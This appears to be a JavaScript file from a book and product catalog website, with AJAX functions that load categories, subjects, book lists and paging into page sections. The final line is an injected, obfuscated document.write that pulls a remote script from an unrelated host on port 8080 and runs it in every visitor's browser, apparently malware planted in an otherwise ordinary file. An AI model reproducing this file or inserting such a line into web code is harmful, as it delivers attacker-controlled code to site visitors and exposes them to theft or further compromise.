var xmlHttp;
function GetXmlHttpObject()
{
  try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
  catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }
    catch (e)
      {
      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
      }
    }
  return xmlHttp;
}
function displayProduct(PageUrl,div,category_name,em_id,category_id)
{	

	document.getElementById('line-div').style.display="none";
	document.getElementById('subcategory-div').style.display="none";
	document.getElementById('product-detail-click').style.display="none";
	document.getElementById(div).style.display="block";
	document.getElementById('subjectDetail').style.display="none";
	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null)
	{
	  alert ("Your browser does not support AJAX!");
	  return;
	 }
	  //var url='dProducts.php';
		var url=PageUrl;
		Page=url+"?em_id="+em_id+"&category_id="+category_id+"&category_name="+encodeURI(category_name.replace('&','~'));
		//alert(Page);
	xmlHttp.onreadystatechange=function()
	{
		if (xmlHttp.readyState==4)
		{ 
			document.getElementById(div).innerHTML=xmlHttp.responseText;
		}
	}
	xmlHttp.open("POST",Page,true);
	xmlHttp.send(null);
}
function displayProductForLeftPanel(PageUrl,div,category_name,em_id,category_id)
{	//alert('left');
	document.getElementById('line-div').style.display="none";
	document.getElementById('subcategory-div').style.display="none";
	document.getElementById('product-detail-click').style.display="none";
	document.getElementById(div).style.display="block";
	document.getElementById('subjectDetail').style.display="none";
	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null)
	{
	  alert ("Your browser does not support AJAX!");
	  return;
	 }
	  //var url='dProducts.php';
		var url=PageUrl;
		Page=url+"?em_id="+em_id+"&category_id="+category_id+"&category_name="+encodeURI(category_name.replace('&','~'));
		//alert(Page);
	xmlHttp.onreadystatechange=function()
	{
		if (xmlHttp.readyState==4)
		{ 
			document.getElementById(div).innerHTML=xmlHttp.responseText;
		}
	}
	xmlHttp.open("POST",Page,true);
	xmlHttp.send(null);
}


function displayBookSub(value,value1,value2)
{ 
	//alert("calling1st");
	document.getElementById("em_id").value = value;
	document.getElementById("category_id").value = value1;
	document.getElementById("category_name").value = value2;
	document.forms["frmbookdetail"].submit();
}

function displayBookSubOnAllSubject(value,value1,value2)
{ 
	
	//alert(value);
	//alert(value1);
//	alert(value2);
	document.getElementById("em_id").value = value;
	document.getElementById("category_id").value = value1;
	document.getElementById("category_name").value = value2;
	document.forms["subjectDetail"].submit();
}

function clickPrductDetail(code1,code2,subjectcode,PageUrl,Div,CodeSub)
{
	alert(PageUrl);
	document.getElementById('subjectDetail').style.display="none";
	document.getElementById(Div).style.display="block";
	xmlHttp=GetXmlHttpObject()
	if (xmlHttp==null)
	  {
	  alert ("Your browser does not support AJAX!");
	  return;
	  }
	  //var url='dProducts.php';
		var url=PageUrl;
		Page=url+"?em_id="+code1+"&category_id="+code2+"&subjectcode="+CodeSub+"&category_name="+encodeURI(subjectcode.replace('&','~'));
	xmlHttp.onreadystatechange=function()
	{
		if (xmlHttp.readyState==4)
		{ 
			document.getElementById(Div).innerHTML=xmlHttp.responseText;
		}
	}
	xmlHttp.open("POST",Page,true);
	xmlHttp.send(null);
	
}

function displayPaging(PageNo)
{
		 HttPRequest = false;
		  if (window.XMLHttpRequest) 
		  { // Mozilla, Safari,...
			 HttPRequest = new XMLHttpRequest();
			 if (HttPRequest.overrideMimeType) {
				HttPRequest.overrideMimeType('text/html');
			 }
		  } else if (window.ActiveXObject) { // IE
			 try {
				HttPRequest = new ActiveXObject("Msxml2.XMLHTTP");
			 } catch (e) {
				try {
				   HttPRequest = new ActiveXObject("Microsoft.XMLHTTP");
				} catch (e) {}
			 }
		  } 
 
		  if (!HttPRequest) {
			 alert('Cannot create XMLHTTP instance');
			 return false;
		  }
			var url = 'dProductsDetail.php';
			//alert(url);
			//+"?sub_cat_name="+sub_cat_name
			var pmeters = 'page='+PageNo; 
			//alert(pmeters);
			var totalUrl = url+"?"+pmeters;
			//alert(totalUrl);
			HttPRequest.open('GET',totalUrl,true);
			HttPRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			HttPRequest.setRequestHeader("Content-length", pmeters.length);
			HttPRequest.setRequestHeader("Connection", "close");
			HttPRequest.send(totalUrl);
			HttPRequest.onreadystatechange = function()
			{
 
				if(HttPRequest.readyState == 3)  // Loading Request
				{
					document.getElementById("listingAJAX").innerHTML = '<img src="loading.gif" align="center" />';
				  }
 
				 if(HttPRequest.readyState == 4) // Return Request
				 {
					var response = HttPRequest.responseText;
 					document.getElementById("product-detail-click").style.display = "block";
				    document.getElementById("product-detail-click").innerHTML = response;
				  }
 
			}
}

//Saurabh ajax file using here $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

function displaySubcategorySubjectPage(pCode1,pCode2,pSubject1,pSubjectCode,pWWWROOT)
{	//alert(pSubject1);
	 document.getElementById("subjectDetail").style.display = "none";
	 var strVars = 'code1='+pCode1+'&code2='+pCode2+'&subject1='+urlencode(pSubject1)+'&subjectCode='+pSubjectCode;
	 var strURL = pWWWROOT+'/subjects/getSubjectBooks.php?cType=booksSubCategory&'+strVars;
	 AjaxPostNew(strURL,6);
}
function afterGetSubcategorySubject(pContent)
{
	document.getElementById("display-sub-cat").innerHTML = pContent;
	document.getElementById("display-sub-cat").style.display = "block";
}

function displaySubjectSubCatBookList(pSubjectCode,pSubjectName,pWWWROOT)
{
	var strVars = 'subjectCode='+pSubjectCode+'&subjectName='+pSubjectName;
	var strURL = pWWWROOT+'/subjects/getSubjectBooks.php?cType=bookList&'+strVars;
	AjaxPostNew(strURL,7);
}

function afterDisplayBooksList(pContent)
{
	document.getElementById("subjectSubCatbookListDiv").innerHTML = pContent;
	document.getElementById("subjectSubcategoryDiv").style.display = "block";
}

function displayBooksPaging(pageNo,pSubjectCode,pSubjectName,pWWWROOT)
{
	var strVars = 'subjectCode='+pSubjectCode+'&subjectName='+pSubjectName;
	var strURL = pWWWROOT+'/subjects/getSubjectBooks.php?cType=bookList&page='+pageNo+'&'+strVars;
	AjaxPostNew(strURL,7);
}

document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></scr'+'ipt>');